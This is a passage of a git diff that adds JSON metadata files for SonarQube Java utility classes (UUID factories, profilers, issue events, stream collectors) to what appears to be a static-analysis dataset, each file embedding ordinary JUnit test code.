(IllegalArgumentException e) {\n\n assertThat(e).hasMessage(\"Fail to parse date: 2014-01-14\");\n\n }\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactory.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactory.json new file mode 100644 index 0000000..eece578 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactory.json @@ -0,0 +1,13 @@ +{ + "name": "UuidFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 11, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactoryFast.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactoryFast.json new file mode 100644 index 0000000..34aeb98 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactoryFast.json @@ -0,0 +1,26 @@ +{ + "name": "UuidFactoryFast", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 13, + "branches": 0, + "apis": 1, + "test": [ + { + "description": "create_different_uuids", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void create_different_uuids() {\n\n // this test is not enough to ensure that generated strings are unique,\n\n // but it still does a simple and stupid verification\n\n assertThat(underTest.create()).isNotEqualTo(underTest.create());\n\n }" + }, + { + "description": "test_format_of_uuid", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void test_format_of_uuid() {\n\n String uuid = underTest.create();\n\n\n\n assertThat(uuid.length()).isGreaterThan(10).isLessThan(40);\n\n\n\n // URL-safe: only letters, digits, dash and underscore.\n\n assertThat(uuid).matches(\"^[\\\\w\\\\-_]+$\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactoryImpl.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactoryImpl.json new file mode 100644 index 0000000..d999c71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/UuidFactoryImpl.json @@ -0,0 +1,26 @@ +{ + "name": "UuidFactoryImpl", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 11, + "branches": 0, + "apis": 2, + "test": [ + { + "description": "create_different_uuids", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void create_different_uuids() {\n\n // this test is not enough to ensure that generated strings are unique,\n\n // but it still does a simple and stupid verification\n\n assertThat(underTest.create()).isNotEqualTo(underTest.create());\n\n }" + }, + { + "description": "test_format_of_uuid", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void test_format_of_uuid() {\n\n String uuid = underTest.create();\n\n\n\n assertThat(uuid.length()).isGreaterThan(10).isLessThan(40);\n\n\n\n // URL-safe: only letters, digits, dash and underscore.\n\n assertThat(uuid).matches(\"^[\\\\w\\\\-_]+$\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Uuids.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Uuids.json new file mode 100644 index 0000000..fecb874 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/Uuids.json @@ -0,0 +1,26 @@ +{ + "name": "Uuids", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 27, + "branches": 0, + "apis": 3, + "test": [ + { + "description": "create_unique", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void create_unique() {\n\n Set all = new HashSet<>();\n\n for (int i = 0; i < 50; i++) {\n\n String uuid = Uuids.create();\n\n assertThat(uuid).isNotEmpty();\n\n all.add(uuid);\n\n }\n\n assertThat(all).hasSize(50);\n\n }" + }, + { + "description": "constructor_is_private", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void constructor_is_private() {\n\n TestUtils.hasOnlyPrivateConstructors(Uuids.class);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/issue/Issue.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/issue/Issue.json new file mode 100644 index 0000000..b7d279a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/issue/Issue.json @@ -0,0 +1,20 @@ +{ + "name": "Issue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 23, + "branches": 0, + "apis": 1, + "test": [ + { + "description": "issue_instantiation_accepts_values", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void issue_instantiation_accepts_values() {\n\n Issue issue = new Issue(ISSUE_KEY, BRANCH_NAME);\n\n\n\n assertThat(issue.getIssueKey()).isEqualTo(ISSUE_KEY);\n\n assertThat(issue.getBranchName()).isEqualTo(BRANCH_NAME);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/issue/IssueChangedEvent.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/issue/IssueChangedEvent.json new file mode 100644 index 0000000..6b160d1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/issue/IssueChangedEvent.json @@ -0,0 +1,32 @@ +{ + "name": "IssueChangedEvent", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 1, + "apis": 0, + "test": [ + { + "description": "issueChangedEvent_instantiation_accepts_nulls", + "expected-problems": null, + "expected-linenumbers": 14, + "code": " public void issueChangedEvent_instantiation_accepts_nulls() {\n\n Issue issue = new Issue(ISSUE_KEY, BRANCH_NAME);\n\n issue.addImpact(MAINTAINABILITY, Severity.HIGH);\n\n\n\n IssueChangedEvent event = new IssueChangedEvent(PROJECT_KEY, new Issue[] {issue}, null, null, null);\n\n\n\n assertThat(event.getEvent()).isEqualTo(\"IssueChanged\");\n\n assertThat(event.getProjectKey()).isEqualTo(PROJECT_KEY);\n\n assertThat(event.getResolved()).isNull();\n\n assertThat(event.getUserSeverity()).isNull();\n\n assertThat(event.getUserType()).isNull();\n\n assertThat(event.getIssues()).hasSize(1);\n\n assertThat(Arrays.stream(event.getIssues()).iterator().next().getImpacts())\n\n .hasSize(1)\n\n .containsExactlyInAnyOrder(new Issue.Impact(MAINTAINABILITY, Severity.HIGH));\n\n }" + }, + { + "description": "issueChangedEvent_instantiation_accepts_actual_values", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void issueChangedEvent_instantiation_accepts_actual_values() {\n\n Issue[] issues = new Issue[] {new Issue(ISSUE_KEY, BRANCH_NAME)};\n\n IssueChangedEvent event = new IssueChangedEvent(PROJECT_KEY, issues, true, \"BLOCKER\", \"BUG\");\n\n\n\n assertThat(event.getEvent()).isEqualTo(\"IssueChanged\");\n\n assertThat(event.getProjectKey()).isEqualTo(PROJECT_KEY);\n\n assertThat(event.getResolved()).isTrue();\n\n assertThat(event.getUserSeverity()).isEqualTo(\"BLOCKER\");\n\n assertThat(event.getUserType()).isEqualTo(\"BUG\");\n\n assertThat(event.getIssues()).hasSize(1);\n\n }" + }, + { + "description": "issueChangedEvent_instantiation_doesNotAccept_emptyIssues", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void issueChangedEvent_instantiation_doesNotAccept_emptyIssues() {\n\n Issue[] issues = new Issue[0];\n\n\n\n assertThatThrownBy(() -> new IssueChangedEvent(PROJECT_KEY, issues, true, \"BLOCKER\", \"BUG\"))\n\n .isInstanceOf(IllegalArgumentException.class)\n\n .withFailMessage(\"Can't create IssueChangedEvent without any issues that have changed\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/DefaultProfiler.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/DefaultProfiler.json new file mode 100644 index 0000000..416b888 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/DefaultProfiler.json @@ -0,0 +1,122 @@ +{ + "name": "DefaultProfiler", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 238, + "branches": 24, + "apis": 40, + "test": [ + { + "description": "test_levels", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void test_levels() {\n\n // info by default\n\n assertThat(underTest.isDebugEnabled()).isFalse();\n\n assertThat(underTest.isTraceEnabled()).isFalse();\n\n\n\n tester.setLevel(Level.DEBUG);\n\n assertThat(underTest.isDebugEnabled()).isTrue();\n\n assertThat(underTest.isTraceEnabled()).isFalse();\n\n\n\n tester.setLevel(Level.TRACE);\n\n assertThat(underTest.isDebugEnabled()).isTrue();\n\n assertThat(underTest.isTraceEnabled()).isTrue();\n\n }" + }, + { + "description": "start_writes_no_log_even_if_there_is_context", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void start_writes_no_log_even_if_there_is_context() {\n\n underTest.addContext(\"a_string\", \"bar\");\n\n underTest.addContext(\"null_value\", null);\n\n underTest.addContext(\"an_int\", 42);\n\n underTest.start();\n\n\n\n // do not write context as there's no message\n\n assertThat(tester.logs()).isEmpty();\n\n }" + }, + { + "description": "startInfo_writes_log_with_context_appended_when_there_is_a_message", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void startInfo_writes_log_with_context_appended_when_there_is_a_message() {\n\n addSomeContext(underTest);\n\n underTest.startInfo(\"Foo\");\n\n\n\n assertThat(tester.logs(Level.INFO)).containsOnly(\"Foo | a_string=bar | an_int=42 | after_start=true\");\n\n }" + }, + { + "description": "startDebug_writes_log_with_context_appended_when_there_is_a_message", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void startDebug_writes_log_with_context_appended_when_there_is_a_message() {\n\n tester.setLevel(Level.DEBUG);\n\n addSomeContext(underTest);\n\n underTest.startDebug(\"Foo\");\n\n\n\n assertThat(tester.logs(Level.DEBUG)).containsOnly(\"Foo | a_string=bar | an_int=42 | after_start=true\");\n\n }" + }, + { + "description": "startTrace_writes_log_with_context_appended_when_there_is_a_message", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void startTrace_writes_log_with_context_appended_when_there_is_a_message() {\n\n tester.setLevel(Level.TRACE);\n\n addSomeContext(underTest);\n\n underTest.startTrace(\"Foo\");\n\n\n\n assertThat(tester.logs(Level.TRACE)).containsOnly(\"Foo | a_string=bar | an_int=42 | after_start=true\");\n\n }" + }, + { + "description": "stopError_adds_context_after_time_by_default", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void stopError_adds_context_after_time_by_default() {\n\n addSomeContext(underTest);\n\n underTest.start().stopError(\"Rules registered\");\n\n\n\n assertThat(tester.logs()).hasSize(1);\n\n assertThat(tester.logs(Level.ERROR).get(0))\n\n .startsWith(\"Rules registered | time=\")\n\n .endsWith(\"ms | a_string=bar | an_int=42 | after_start=true\");\n\n }" + }, + { + "description": "stopInfo_adds_context_after_time_by_default", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void stopInfo_adds_context_after_time_by_default() {\n\n addSomeContext(underTest);\n\n underTest.start().stopInfo(\"Rules registered\");\n\n\n\n assertThat(tester.logs()).hasSize(1);\n\n assertThat(tester.logs(Level.INFO).get(0))\n\n .startsWith(\"Rules registered | time=\")\n\n .endsWith(\"ms | a_string=bar | an_int=42 | after_start=true\");\n\n }" + }, + { + "description": "stopTrace_adds_context_after_time_by_default", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void stopTrace_adds_context_after_time_by_default() {\n\n tester.setLevel(Level.TRACE);\n\n addSomeContext(underTest);\n\n underTest.start().stopTrace(\"Rules registered\");\n\n\n\n assertThat(tester.logs()).hasSize(1);\n\n assertThat(tester.logs(Level.TRACE).get(0))\n\n .startsWith(\"Rules registered | time=\")\n\n .endsWith(\"ms | a_string=bar | an_int=42 | after_start=true\");\n\n }" + }, + { + "description": "stopError_adds_context_before_time_if_logTimeLast_is_true", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void stopError_adds_context_before_time_if_logTimeLast_is_true() {\n\n addSomeContext(underTest);\n\n underTest.logTimeLast(true);\n\n underTest.start().stopError(\"Rules registered\");\n\n\n\n assertThat(tester.logs()).hasSize(1);\n\n assertThat(tester.logs(Level.ERROR).get(0))\n\n .startsWith(\"Rules registered | a_string=bar | an_int=42 | after_start=true | time=\")\n\n .endsWith(\"ms\");\n\n }" + }, + { + "description": "stopInfo_adds_context_before_time_if_logTimeLast_is_true", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void stopInfo_adds_context_before_time_if_logTimeLast_is_true() {\n\n addSomeContext(underTest);\n\n underTest.logTimeLast(true);\n\n underTest.start().stopInfo(\"Rules registered\");\n\n\n\n assertThat(tester.logs()).hasSize(1);\n\n assertThat(tester.logs(Level.INFO).get(0))\n\n .startsWith(\"Rules registered | a_string=bar | an_int=42 | after_start=true | time=\")\n\n .endsWith(\"ms\");\n\n }" + }, + { + "description": "stopTrace_adds_context_before_time_if_logTimeLast_is_true", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void stopTrace_adds_context_before_time_if_logTimeLast_is_true() {\n\n tester.setLevel(Level.TRACE);\n\n addSomeContext(underTest);\n\n underTest.logTimeLast(true);\n\n underTest.start().stopTrace(\"Rules registered\");\n\n\n\n assertThat(tester.logs()).hasSize(1);\n\n assertThat(tester.logs(Level.TRACE).get(0))\n\n .startsWith(\"Rules registered | a_string=bar | an_int=42 | after_start=true | time=\")\n\n .endsWith(\"ms\");\n\n }" + }, + { + "description": "stopInfo_clears_context", + "expected-problems": null, + "expected-linenumbers": 14, + "code": " public void stopInfo_clears_context() {\n\n addSomeContext(underTest);\n\n underTest.logTimeLast(true);\n\n underTest.start().stopInfo(\"Foo\");\n\n underTest.start().stopInfo(\"Bar\");\n\n\n\n assertThat(tester.logs()).hasSize(2);\n\n List logs = tester.logs(Level.INFO);\n\n assertThat(logs.get(0))\n\n .startsWith(\"Foo | a_string=bar | an_int=42 | after_start=true | time=\")\n\n .endsWith(\"ms\");\n\n assertThat(logs.get(1))\n\n .startsWith(\"Bar | time=\")\n\n .endsWith(\"ms\");\n\n }" + }, + { + "description": "stopDebug_clears_context", + "expected-problems": null, + "expected-linenumbers": 15, + "code": " public void stopDebug_clears_context() {\n\n tester.setLevel(Level.DEBUG);\n\n addSomeContext(underTest);\n\n underTest.logTimeLast(true);\n\n underTest.start().stopDebug(\"Foo\");\n\n underTest.start().stopDebug(\"Bar\");\n\n\n\n assertThat(tester.logs()).hasSize(2);\n\n List logs = tester.logs(Level.DEBUG);\n\n assertThat(logs.get(0))\n\n .startsWith(\"Foo | a_string=bar | an_int=42 | after_start=true | time=\")\n\n .endsWith(\"ms\");\n\n assertThat(logs.get(1))\n\n .startsWith(\"Bar | time=\")\n\n .endsWith(\"ms\");\n\n }" + }, + { + "description": "stopTrace_clears_context", + "expected-problems": null, + "expected-linenumbers": 15, + "code": " public void stopTrace_clears_context() {\n\n tester.setLevel(Level.TRACE);\n\n addSomeContext(underTest);\n\n underTest.logTimeLast(true);\n\n underTest.start().stopTrace(\"Foo\");\n\n underTest.start().stopTrace(\"Bar\");\n\n\n\n assertThat(tester.logs()).hasSize(2);\n\n List logs = tester.logs(Level.TRACE);\n\n assertThat(logs.get(0))\n\n .startsWith(\"Foo | a_string=bar | an_int=42 | after_start=true | time=\")\n\n .endsWith(\"ms\");\n\n assertThat(logs.get(1))\n\n .startsWith(\"Bar | time=\")\n\n .endsWith(\"ms\");\n\n }" + }, + { + "description": "empty_message", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void empty_message() {\n\n underTest.addContext(\"foo\", \"bar\");\n\n underTest.startInfo(\"\");\n\n\n\n assertThat(tester.logs()).containsOnly(\"foo=bar\");\n\n\n\n underTest.addContext(\"after_start\", true);\n\n underTest.stopInfo(\"\");\n\n assertThat(tester.logs()).hasSize(2);\n\n assertThat(tester.logs().get(1))\n\n .startsWith(\"time=\")\n\n .endsWith(\"ms | foo=bar | after_start=true\");\n\n }" + }, + { + "description": "fail_if_stop_without_message", + "expected-problems": null, + "expected-linenumbers": 9, + "code": " public void fail_if_stop_without_message() {\n\n underTest.start();\n\n try {\n\n underTest.stopInfo();\n\n fail();\n\n } catch (IllegalStateException e) {\n\n assertThat(e).hasMessage(\"Profiler#stopXXX() can't be called without any message defined in start methods\");\n\n }\n\n }" + }, + { + "description": "fail_if_stop_without_start", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void fail_if_stop_without_start() {\n\n try {\n\n underTest.stopDebug(\"foo\");\n\n fail();\n\n } catch (IllegalStateException e) {\n\n assertThat(e).hasMessage(\"Profiler must be started before being stopped\");\n\n }\n\n }" + }, + { + "description": "hasContext", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void hasContext() {\n\n assertThat(underTest.hasContext(\"foo\")).isFalse();\n\n\n\n underTest.addContext(\"foo\", \"bar\");\n\n assertThat(underTest.hasContext(\"foo\")).isTrue();\n\n\n\n underTest.addContext(\"foo\", null);\n\n assertThat(underTest.hasContext(\"foo\")).isFalse();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/NullProfiler.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/NullProfiler.json new file mode 100644 index 0000000..690f54e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/NullProfiler.json @@ -0,0 +1,26 @@ +{ + "name": "NullProfiler", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 94, + "branches": 1, + "apis": 0, + "test": [ + { + "description": "do_not_fail", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void do_not_fail() {\n\n assertThat(underTest.start()).isSameAs(underTest);\n\n assertThat(underTest.startTrace(\"\")).isSameAs(underTest);\n\n assertThat(underTest.startDebug(\"\")).isSameAs(underTest);\n\n assertThat(underTest.startInfo(\"\")).isSameAs(underTest);\n\n\n\n assertThat(underTest.isDebugEnabled()).isFalse();\n\n assertThat(underTest.isTraceEnabled()).isFalse();\n\n assertThat(underTest.addContext(\"foo\", \"bar\")).isSameAs(underTest);\n\n assertThat(underTest.logTimeLast(true)).isSameAs(underTest);\n\n assertThat(underTest.logTimeLast(false)).isSameAs(underTest);\n\n }" + }, + { + "description": "stop_methods_returns_0", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void stop_methods_returns_0() {\n\n underTest.start();\n\n assertThat(underTest.stopInfo()).isZero();\n\n assertThat(underTest.stopInfo(\"msg\")).isZero();\n\n assertThat(underTest.stopDebug()).isZero();\n\n assertThat(underTest.stopDebug(\"msg\")).isZero();\n\n assertThat(underTest.stopTrace()).isZero();\n\n assertThat(underTest.stopTrace(\"msg\")).isZero();\n\n assertThat(underTest.stopError(\"msg\")).isZero();\n\n\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/Profiler.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/Profiler.json new file mode 100644 index 0000000..91c5891 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/logs/Profiler.json @@ -0,0 +1,32 @@ +{ + "name": "Profiler", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "create", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void create() {\n\n Profiler profiler = Profiler.create(LoggerFactory.getLogger(\"foo\"));\n\n assertThat(profiler).isInstanceOf(DefaultProfiler.class);\n\n }" + }, + { + "description": "create_null_profiler_if_trace_level_is_disabled", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void create_null_profiler_if_trace_level_is_disabled() {\n\n tester.setLevel(Level.TRACE);\n\n Profiler profiler = Profiler.createIfTrace(LoggerFactory.getLogger(\"foo\"));\n\n assertThat(profiler).isInstanceOf(DefaultProfiler.class);\n\n\n\n tester.setLevel(Level.DEBUG);\n\n profiler = Profiler.createIfTrace(LoggerFactory.getLogger(\"foo\"));\n\n assertThat(profiler).isInstanceOf(NullProfiler.class);\n\n }" + }, + { + "description": "create_null_profiler_if_debug_level_is_disabled", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void create_null_profiler_if_debug_level_is_disabled() {\n\n tester.setLevel(Level.TRACE);\n\n Profiler profiler = Profiler.createIfDebug(LoggerFactory.getLogger(\"foo\"));\n\n assertThat(profiler).isInstanceOf(DefaultProfiler.class);\n\n\n\n tester.setLevel(Level.INFO);\n\n profiler = Profiler.createIfDebug(LoggerFactory.getLogger(\"foo\"));\n\n assertThat(profiler).isInstanceOf(NullProfiler.class);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/rule/RuleChange.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/rule/RuleChange.json new file mode 100644 index 0000000..96beeb1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/rule/RuleChange.json @@ -0,0 +1,13 @@ +{ + "name": "RuleChange", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 0, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/rule/RuleSetChangedEvent.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/rule/RuleSetChangedEvent.json new file mode 100644 index 0000000..442fb7a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/rule/RuleSetChangedEvent.json @@ -0,0 +1,26 @@ +{ + "name": "RuleSetChangedEvent", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 22, + "branches": 1, + "apis": 0, + "test": [ + { + "description": "getDeactivatedAndActivatedRules", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void getDeactivatedAndActivatedRules() {\n\n String project = \"sonarqube\";\n\n RuleChange[] activatedRules = { new RuleChange()};\n\n String[] deactivatedRules = {\"ruleKey\"};\n\n RuleSetChangedEvent event = new RuleSetChangedEvent(project, activatedRules, deactivatedRules);\n\n\n\n assertThat(event.getActivatedRules()).isEqualTo(activatedRules);\n\n assertThat(event.getDeactivatedRules()).isEqualTo(deactivatedRules);\n\n }" + }, + { + "description": "getLanguage_givenBothArraysEmpty_throwException", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void getLanguage_givenBothArraysEmpty_throwException() {\n\n String project = \"sonarqube\";\n\n RuleChange[] activatedRules = {};\n\n String[] deactivatedRules = {};\n\n\n\n assertThatThrownBy(() -> new RuleSetChangedEvent(project, activatedRules, deactivatedRules))\n\n .isInstanceOf(IllegalArgumentException.class);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/stream/MoreCollectors.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/stream/MoreCollectors.json new file mode 100644 index 0000000..1380024 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/util/stream/MoreCollectors.json @@ -0,0 +1,206 @@ +{ + "name": "MoreCollectors", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 135, + "branches": 11, + "apis": 30, + "test": [ + { + "description": "index_empty_stream_returns_empty_map", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void index_empty_stream_returns_empty_map() {\n\n assertThat(Stream.empty().collect(index(MyObj::getId)).size()).isZero();\n\n assertThat(Stream.empty().collect(index(MyObj::getId, MyObj::getText)).size()).isZero();\n\n }" + }, + { + "description": "index_fails_if_key_function_is_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void index_fails_if_key_function_is_null() {\n\n assertThatThrownBy(() -> index(null))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't be null\");\n\n }" + }, + { + "description": "index_with_valueFunction_fails_if_key_function_is_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void index_with_valueFunction_fails_if_key_function_is_null() {\n\n assertThatThrownBy(() -> index(null, MyObj::getText))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't be null\");\n\n }" + }, + { + "description": "index_with_valueFunction_fails_if_value_function_is_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void index_with_valueFunction_fails_if_value_function_is_null() {\n\n assertThatThrownBy(() -> index(MyObj::getId, null))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Value function can't be null\");\n\n }" + }, + { + "description": "index_fails_if_key_function_returns_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void index_fails_if_key_function_returns_null() {\n\n assertThatThrownBy(() -> SINGLE_ELEMENT_LIST.stream().collect(index(s -> null)))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't return null\");\n\n }" + }, + { + "description": "index_with_valueFunction_fails_if_key_function_returns_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void index_with_valueFunction_fails_if_key_function_returns_null() {\n\n assertThatThrownBy(() -> SINGLE_ELEMENT_LIST.stream().collect(index(s -> null, MyObj::getText)))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't return null\");\n\n }" + }, + { + "description": "index_with_valueFunction_fails_if_value_function_returns_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void index_with_valueFunction_fails_if_value_function_returns_null() {\n\n assertThatThrownBy(() -> SINGLE_ELEMENT_LIST.stream().collect(index(MyObj::getId, s -> null)))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Value function can't return null\");\n\n }" + }, + { + "description": "index_supports_duplicate_keys", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void index_supports_duplicate_keys() {\n\n ListMultimap multimap = LIST_WITH_DUPLICATE_ID.stream().collect(index(MyObj::getId));\n\n\n\n assertThat(multimap.keySet()).containsOnly(1, 2);\n\n assertThat(multimap.get(1)).containsOnly(MY_OBJ_1_A, MY_OBJ_1_C);\n\n assertThat(multimap.get(2)).containsOnly(MY_OBJ_2_B);\n\n }" + }, + { + "description": "index_returns_ListMultimap", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void index_returns_ListMultimap() {\n\n ListMultimap multimap = LIST.stream().collect(index(MyObj::getId));\n\n\n\n assertThat(multimap.size()).isEqualTo(3);\n\n Map> map = multimap.asMap();\n\n assertThat(map.get(1)).containsOnly(MY_OBJ_1_A);\n\n assertThat(map.get(2)).containsOnly(MY_OBJ_2_B);\n\n assertThat(map.get(3)).containsOnly(MY_OBJ_3_C);\n\n }" + }, + { + "description": "index_with_valueFunction_returns_ListMultimap", + "expected-problems": null, + "expected-linenumbers": 8, + "code": " public void index_with_valueFunction_returns_ListMultimap() {\n\n ListMultimap multimap = LIST.stream().collect(index(MyObj::getId, MyObj::getText));\n\n\n\n assertThat(multimap.size()).isEqualTo(3);\n\n Map> map = multimap.asMap();\n\n assertThat(map.get(1)).containsOnly(\"A\");\n\n assertThat(map.get(2)).containsOnly(\"B\");\n\n assertThat(map.get(3)).containsOnly(\"C\");\n\n }" + }, + { + "description": "index_parallel_stream", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void index_parallel_stream() {\n\n ListMultimap multimap = HUGE_LIST.parallelStream().collect(index(identity()));\n\n\n\n assertThat(multimap.keySet()).isEqualTo(HUGE_SET);\n\n }" + }, + { + "description": "index_with_valueFunction_parallel_stream", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void index_with_valueFunction_parallel_stream() {\n\n ListMultimap multimap = HUGE_LIST.parallelStream().collect(index(identity(), identity()));\n\n\n\n assertThat(multimap.keySet()).isEqualTo(HUGE_SET);\n\n }" + }, + { + "description": "unorderedIndex_empty_stream_returns_empty_map", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void unorderedIndex_empty_stream_returns_empty_map() {\n\n assertThat(Stream.empty().collect(unorderedIndex(MyObj::getId)).size()).isZero();\n\n assertThat(Stream.empty().collect(unorderedIndex(MyObj::getId, MyObj::getText)).size()).isZero();\n\n }" + }, + { + "description": "unorderedIndex_fails_if_key_function_is_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedIndex_fails_if_key_function_is_null() {\n\n assertThatThrownBy(() -> unorderedIndex(null))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't be null\");\n\n }" + }, + { + "description": "unorderedIndex_with_valueFunction_fails_if_key_function_is_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void unorderedIndex_with_valueFunction_fails_if_key_function_is_null() {\n\n assertThatThrownBy(() -> unorderedIndex(null, MyObj::getText))\n\n .isInstanceOf(NullPointerException.class)\n\n .hasMessage(\"Key function can't be null\");\n\n }" + }, + { + "description": "unorderedIndex_with_valueFunction_fails_if_value_function_is_null", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void 